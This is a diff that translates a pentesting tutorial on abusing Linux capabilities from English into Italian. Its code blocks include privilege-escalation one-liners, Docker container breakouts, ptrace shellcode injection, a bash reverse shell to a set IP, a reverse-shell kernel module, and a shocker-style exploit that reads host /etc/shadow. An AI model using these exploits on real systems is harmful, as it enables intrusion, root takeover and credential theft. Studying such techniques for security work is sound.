cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` - -Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section). - +All'interno del **bash eseguito dal binario ambientale compilato** è possibile osservare le **nuove capacità** (un utente normale non avrà alcuna capacità nella sezione "corrente"). ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` - > [!CAUTION] -> You can **only add capabilities that are present** in both the permitted and the inheritable sets. +> Puoi **aggiungere solo le capacità che sono presenti** sia nei set permessi che in quelli ereditabili. -### Capability-aware/Capability-dumb binaries +### Binaries consapevoli delle capacità/Binaries non consapevoli delle capacità -The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. +I **binaries consapevoli delle capacità non utilizzeranno le nuove capacità** fornite dall'ambiente, tuttavia i **binaries non consapevoli delle capacità le utilizzeranno** poiché non le rifiuteranno. Questo rende i binaries non consapevoli delle capacità vulnerabili all'interno di un ambiente speciale che concede capacità ai binaries. -## Service Capabilities - -By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ -Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: +## Capacità del servizio +Per impostazione predefinita, un **servizio in esecuzione come root avrà assegnate tutte le capacità**, e in alcune occasioni questo può essere pericoloso.\ +Pertanto, un file di **configurazione del servizio** consente di **specificare** le **capacità** che si desidera che abbia, **e** l'**utente** che dovrebbe eseguire il servizio per evitare di eseguire un servizio con privilegi non necessari: ```bash [Service] User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` +## Capacità nei Contenitori Docker -## Capabilities in Docker Containers - -By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: - +Per impostazione predefinita, Docker assegna alcune capacità ai contenitori. È molto facile controllare quali sono queste capacità eseguendo: ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: - BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap +BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap # Add a capabilities docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash @@ -345,21 +309,11 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` - -​ - -
- -​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## Privesc/Container Escape -Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. - -You can force capabilities upon programs using `setcap`, and query these using `getcap`: +Le capacità sono utili quando **vuoi limitare i tuoi processi dopo aver eseguito operazioni privilegiate** (ad esempio, dopo aver impostato chroot e collegato a un socket). Tuttavia, possono essere sfruttate passando comandi o argomenti malevoli che vengono poi eseguiti come root. +Puoi forzare le capacità sui programmi usando `setcap` e interrogarle usando `getcap`: ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -368,19 +322,15 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` +Il `+ep` significa che stai aggiungendo la capacità (“-” la rimuoverebbe) come Efficace e Permessa. -The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted. - -To identify programs in a system or folder with capabilities: - +Per identificare i programmi in un sistema o in una cartella con capacità: ```bash getcap -r / 2>/dev/null ``` +### Esempio di sfruttamento -### Exploitation example - -In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: - +Nell'esempio seguente, il binario `/usr/bin/python2.6` è stato trovato vulnerabile a privesc: ```bash setcap cap_setuid+ep /usr/bin/python2.7 /usr/bin/python2.7 = cap_setuid+ep @@ -388,46 +338,38 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` - -**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**: - +**Capabilities** necessarie per `tcpdump` per **consentire a qualsiasi utente di sniffare pacchetti**: ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` +### Il caso speciale delle capacità "vuote" -### The special case of "empty" capabilities +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Nota che è possibile assegnare set di capacità vuoti a un file di programma, e quindi è possibile creare un programma set-user-ID-root che cambia l'ID utente effettivo e salvato del processo che esegue il programma a 0, ma non conferisce alcuna capacità a quel processo. O, per dirla semplicemente, se hai un binario che: -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: +1. non è di proprietà di root +2. non ha bit `SUID`/`SGID` impostati +3. ha set di capacità vuoti (ad es.: `getcap myelf` restituisce `myelf =ep`) -1. is not owned by root -2. has no `SUID`/`SGID` bits set -3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`) - -then **that binary will run as root**. +allora **quel binario verrà eseguito come root**. ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface. - -**Example with binary** +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** è una capacità Linux altamente potente, spesso equiparata a un livello quasi root a causa dei suoi ampi **privilegi amministrativi**, come il montaggio di dispositivi o la manipolazione delle funzionalità del kernel. Sebbene sia indispensabile per i container che simulano interi sistemi, **`CAP_SYS_ADMIN` presenta sfide di sicurezza significative**, specialmente negli ambienti containerizzati, a causa del suo potenziale per l'escalation dei privilegi e il compromesso del sistema. Pertanto, il suo utilizzo richiede valutazioni di sicurezza rigorose e una gestione cauta, con una forte preferenza per la rimozione di questa capacità nei container specifici per le applicazioni per aderire al **principio del minimo privilegio** e ridurre al minimo la superficie di attacco. +**Esempio con binario** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` - -Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: - +Utilizzando python puoi montare un file _passwd_ modificato sopra il vero file _passwd_: ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" vim ./passwd #Change roots passwords of the fake passwd file ``` - -And finally **mount** the modified `passwd` file on `/etc/passwd`: - +E infine **montare** il file `passwd` modificato su `/etc/passwd`: ```python from ctypes import * libc = CDLL("libc.so.6") @@ -440,32 +382,28 @@ options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options) ``` +E sarai in grado di **`su` come root** utilizzando la password "password". -And you will be able to **`su` as root** using password "password". - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**Esempio con ambiente (Docker breakout)** +Puoi controllare le capacità abilitate all'interno del contenitore docker usando: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -Inside the previous output you can see that the SYS_ADMIN capability is enabled. +All'interno dell'output precedente puoi vedere che la capacità SYS_ADMIN è abilitata. - **Mount** -This allows the docker container to **mount the host disk and access it freely**: - +Questo consente al contenitore docker di **montare il disco host e accedervi liberamente**: ```bash fdisk -l #Get disk name Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors @@ -477,12 +415,10 @@ mount /dev/sda /mnt/ #Mount it cd /mnt chroot ./ bash #You have a shell inside the docker hosts disk ``` +- **Accesso completo** -- **Full access** - -In the previous method we managed to access the docker host disk.\ -In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH: - +Nel metodo precedente siamo riusciti ad accedere al disco dell'host docker.\ +Nel caso in cui tu trovi che l'host sta eseguendo un server **ssh**, potresti **creare un utente all'interno del disco dell'host docker** e accedervi tramite SSH: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -496,15 +432,13 @@ nc -v -n -w2 -z 172.17.0.1 1-65535 chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` - ## CAP_SYS_PTRACE -**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. +**Questo significa che puoi sfuggire al container iniettando un shellcode all'interno di un processo in esecuzione all'interno dell'host.** Per accedere ai processi in esecuzione all'interno dell'host, il container deve essere eseguito almeno con **`--pid=host`**. -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53). - -**Example with binary (python)** +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede la possibilità di utilizzare funzionalità di debug e tracciamento delle chiamate di sistema fornite da `ptrace(2)` e chiamate di attacco alla memoria incrociata come `process_vm_readv(2)` e `process_vm_writev(2)`. Sebbene sia potente per scopi diagnostici e di monitoraggio, se `CAP_SYS_PTRACE` è abilitato senza misure restrittive come un filtro seccomp su `ptrace(2)`, può compromettere significativamente la sicurezza del sistema. In particolare, può essere sfruttato per eludere altre restrizioni di sicurezza, in particolare quelle imposte da seccomp, come dimostrato da [proofs of concept (PoC) come questo](https://gist.github.com/thejh/8346f47e359adecd1d53). +**Esempio con binario (python)** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_ptrace+ep @@ -524,35 +458,35 @@ PTRACE_DETACH = 17 # Structure defined in # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct class user_regs_struct(ctypes.Structure): - _fields_ = [ - ("r15", ctypes.c_ulonglong), - ("r14", ctypes.c_ulonglong), - ("r13", ctypes.c_ulonglong), - ("r12", ctypes.c_ulonglong), - ("rbp", ctypes.c_ulonglong), - ("rbx", ctypes.c_ulonglong), - ("r11", ctypes.c_ulonglong), - ("r10", ctypes.c_ulonglong), - ("r9", ctypes.c_ulonglong), - ("r8", ctypes.c_ulonglong), - ("rax", ctypes.c_ulonglong), - ("rcx", ctypes.c_ulonglong), - ("rdx", ctypes.c_ulonglong), - ("rsi", ctypes.c_ulonglong), - ("rdi", ctypes.c_ulonglong), - ("orig_rax", ctypes.c_ulonglong), - ("rip", ctypes.c_ulonglong), - ("cs", ctypes.c_ulonglong), - ("eflags", ctypes.c_ulonglong), - ("rsp", ctypes.c_ulonglong), - ("ss", ctypes.c_ulonglong), - ("fs_base", ctypes.c_ulonglong), - ("gs_base", ctypes.c_ulonglong), - ("ds", ctypes.c_ulonglong), - ("es", ctypes.c_ulonglong), - ("fs", ctypes.c_ulonglong), - ("gs", ctypes.c_ulonglong), - ] +_fields_ = [ +("r15", ctypes.c_ulonglong), +("r14", ctypes.c_ulonglong), +("r13", ctypes.c_ulonglong), +("r12", ctypes.c_ulonglong), +("rbp", ctypes.c_ulonglong), +("rbx", ctypes.c_ulonglong), +("r11", ctypes.c_ulonglong), +("r10", ctypes.c_ulonglong), +("r9", ctypes.c_ulonglong), +("r8", ctypes.c_ulonglong), +("rax", ctypes.c_ulonglong), +("rcx", ctypes.c_ulonglong), +("rdx", ctypes.c_ulonglong), +("rsi", ctypes.c_ulonglong), +("rdi", ctypes.c_ulonglong), +("orig_rax", ctypes.c_ulonglong), +("rip", ctypes.c_ulonglong), +("cs", ctypes.c_ulonglong), +("eflags", ctypes.c_ulonglong), +("rsp", ctypes.c_ulonglong), +("ss", ctypes.c_ulonglong), +("fs_base", ctypes.c_ulonglong), +("gs_base", ctypes.c_ulonglong), +("ds", ctypes.c_ulonglong), +("es", ctypes.c_ulonglong), +("fs", ctypes.c_ulonglong), +("gs", ctypes.c_ulonglong), +] libc = ctypes.CDLL("libc.so.6") @@ -576,13 +510,13 @@ shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5 # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): - # Convert the byte to little endian. - shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) - shellcode_byte_little_endian=struct.pack("& /dev/tcp/192.168.115.135/5656 0>&1'") ``` - -You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). +Non sarai in grado di vedere l'output del comando eseguito, ma verrà eseguito da quel processo (quindi ottieni una rev shell). > [!WARNING] -> If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. +> Se ricevi l'errore "No symbol "system" in current context." controlla l'esempio precedente che carica uno shellcode in un programma tramite gdb. -**Example with environment (Docker breakout) - Shellcode Injection** - -You can check the enabled capabilities inside the docker container using: +**Esempio con ambiente (Docker breakout) - Iniezione di Shellcode** +Puoi controllare le capacità abilitate all'interno del contenitore docker usando: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root ``` +Elenca i **processi** in esecuzione nell'**host** `ps -eaf` -List **processes** running in the **host** `ps -eaf` - -1. Get the **architecture** `uname -m` -2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) -4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` -5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` +1. Ottieni l'**architettura** `uname -m` +2. Trova un **shellcode** per l'architettura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. Trova un **programma** per **iniettare** il **shellcode** nella memoria di un processo ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) +4. **Modifica** il **shellcode** all'interno del programma e **compila** `gcc inject.c -o inject` +5. **Inietta** e prendi la tua **shell**: `./inject 299; nc 172.17.0.1 5600` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation. -**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** consente a un processo di **caricare e scaricare moduli del kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chiamate di sistema)**, offrendo accesso diretto alle operazioni fondamentali del kernel. Questa capacità presenta rischi critici per la sicurezza, poiché consente l'escalation dei privilegi e il compromesso totale del sistema permettendo modifiche al kernel, eludendo così tutti i meccanismi di sicurezza di Linux, inclusi i Linux Security Modules e l'isolamento dei container. +**Questo significa che puoi** **inserire/rimuovere moduli del kernel nel/dal kernel della macchina host.** -**Example with binary** - -In the following example the binary **`python`** has this capability. +**Esempio con binario** +Nell'esempio seguente il binario **`python`** ha questa capacità. ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` - -By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\ -In order to abuse this, lets create a fake **lib/modules** folder: - +Per impostazione predefinita, il comando **`modprobe`** controlla l'elenco delle dipendenze e i file di mappatura nella directory **`/lib/modules/$(uname -r)`**.\ +Per sfruttare questo, creiamo una cartella falsa **lib/modules**: ```bash mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` - -Then **compile the kernel module you can find 2 examples below and copy** it to this folder: - +Poi **compila il modulo del kernel che puoi trovare 2 esempi qui sotto e copialo** in questa cartella: ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` - -Finally, execute the needed python code to load this kernel module: - +Infine, esegui il codice python necessario per caricare questo modulo del kernel: ```python import kmod km = kmod.Kmod() km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") km.modprobe("reverse-shell") ``` +**Esempio 2 con binario** -**Example 2 with binary** - -In the following example the binary **`kmod`** has this capability. - +Nel seguente esempio, il binario **`kmod`** ha questa capacità. ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep ``` +Il che significa che è possibile utilizzare il comando **`insmod`** per inserire un modulo del kernel. Segui l'esempio qui sotto per ottenere una **reverse shell** abusando di questo privilegio. -Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**Esempio con ambiente (Docker breakout)** +Puoi controllare le capacità abilitate all'interno del contenitore docker usando: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +All'interno dell'output precedente puoi vedere che la capacità **SYS_MODULE** è abilitata. -Inside the previous output you can see that the **SYS_MODULE** capability is enabled. - -**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: - +**Crea** il **modulo del kernel** che eseguirà una reverse shell e il **Makefile** per **compilarlo**: ```c:reverse-shell.c #include #include @@ -779,11 +689,11 @@ static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/ // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { - return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { - printk(KERN_INFO "Exiting\n"); +printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); @@ -794,26 +704,22 @@ module_exit(reverse_shell_exit); obj-m +=reverse-shell.o all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ``` - > [!WARNING] -> The blank char before each make word in the Makefile **must be a tab, not spaces**! - -Execute `make` to compile it. +> Il carattere vuoto prima di ogni parola make nel Makefile **deve essere un tab, non spazi**! +Esegui `make` per compilarlo. ``` ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade ``` - -Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: - +Infine, avvia `nc` all'interno di una shell e **carica il modulo** da un'altra e catturerai la shell nel processo nc: ```bash #Shell 1 nc -lvnp 4444 @@ -821,67 +727,57 @@ nc -lvnp 4444 #Shell 2 insmod reverse-shell.ko #Launch the reverse shell ``` +**Il codice di questa tecnica è stato copiato dal laboratorio di "Abusing SYS_MODULE Capability" da** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) -**The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) +Un altro esempio di questa tecnica può essere trovato in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente a un processo di **bypassare i permessi per la lettura dei file e per la lettura e l'esecuzione delle directory**. Il suo utilizzo principale è per scopi di ricerca o lettura di file. Tuttavia, consente anche a un processo di utilizzare la funzione `open_by_handle_at(2)`, che può accedere a qualsiasi file, inclusi quelli al di fuori dello spazio dei nomi di montaggio del processo. L'identificatore utilizzato in `open_by_handle_at(2)` dovrebbe essere un identificatore non trasparente ottenuto tramite `name_to_handle_at(2)`, ma può includere informazioni sensibili come i numeri degli inode che sono vulnerabili a manomissioni. Il potenziale di sfruttamento di questa capacità, in particolare nel contesto dei contenitori Docker, è stato dimostrato da Sebastian Krahmer con l'exploit shocker, come analizzato [qui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +**Questo significa che puoi** **bypassare i controlli dei permessi di lettura dei file e i controlli dei permessi di lettura/esecuzione delle directory.** -**Example with binary** - -The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file: +**Esempio con binario** +Il binario sarà in grado di leggere qualsiasi file. Quindi, se un file come tar ha questa capacità, sarà in grado di leggere il file shadow: ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp cd /tmp tar -cxf shadow.tar.gz ``` +**Esempio con binary2** -**Example with binary2** - -In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do: - +In questo caso supponiamo che il binario **`python`** abbia questa capacità. Per elencare i file di root potresti fare: ```python import os for r, d, f in os.walk('/root'): - for filename in f: - print(filename) +for filename in f: +print(filename) ``` - -And in order to read a file you could do: - +E per leggere un file potresti fare: ```python print(open("/etc/shadow", "r").read()) ``` +**Esempio in Ambiente (Docker breakout)** -**Example in Environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +Puoi controllare le capacità abilitate all'interno del container docker usando: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +All'interno dell'output precedente puoi vedere che la capacità **DAC_READ_SEARCH** è abilitata. Di conseguenza, il container può **debuggare i processi**. -Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. As a result, the container can **debug processes**. - -You can learn how the following exploiting works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP_DAC_READ_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open_by_handle_at(2)**_ and **could allow our process to sensitive files opened by other processes**. - -The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.** +Puoi imparare come funziona il seguente exploit in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) ma in sintesi **CAP_DAC_READ_SEARCH** non solo ci consente di attraversare il file system senza controlli di autorizzazione, ma rimuove anche esplicitamente eventuali controlli su _**open_by_handle_at(2)**_ e **potrebbe consentire al nostro processo di accedere a file sensibili aperti da altri processi**. +L'exploit originale che sfrutta queste autorizzazioni per leggere file dall'host può essere trovato qui: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), il seguente è una **versione modificata che ti consente di indicare il file che desideri leggere come primo argomento e di salvarlo in un file.** ```c #include #include @@ -898,202 +794,186 @@ The original exploit that abuse this permissions to read files from the host can // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char *msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle *h) { - fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, - h->handle_type); - for (int i = 0; i < h->handle_bytes; ++i) { - fprintf(stderr,"0x%02x", h->f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr,"\n"); - if (i < h->handle_bytes - 1) - fprintf(stderr,", "); - } - fprintf(stderr,"};\n"); +fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, +h->handle_type); +for (int i = 0; i < h->handle_bytes; ++i) { +fprintf(stderr,"0x%02x", h->f_handle[i]); +if ((i + 1) % 20 == 0) 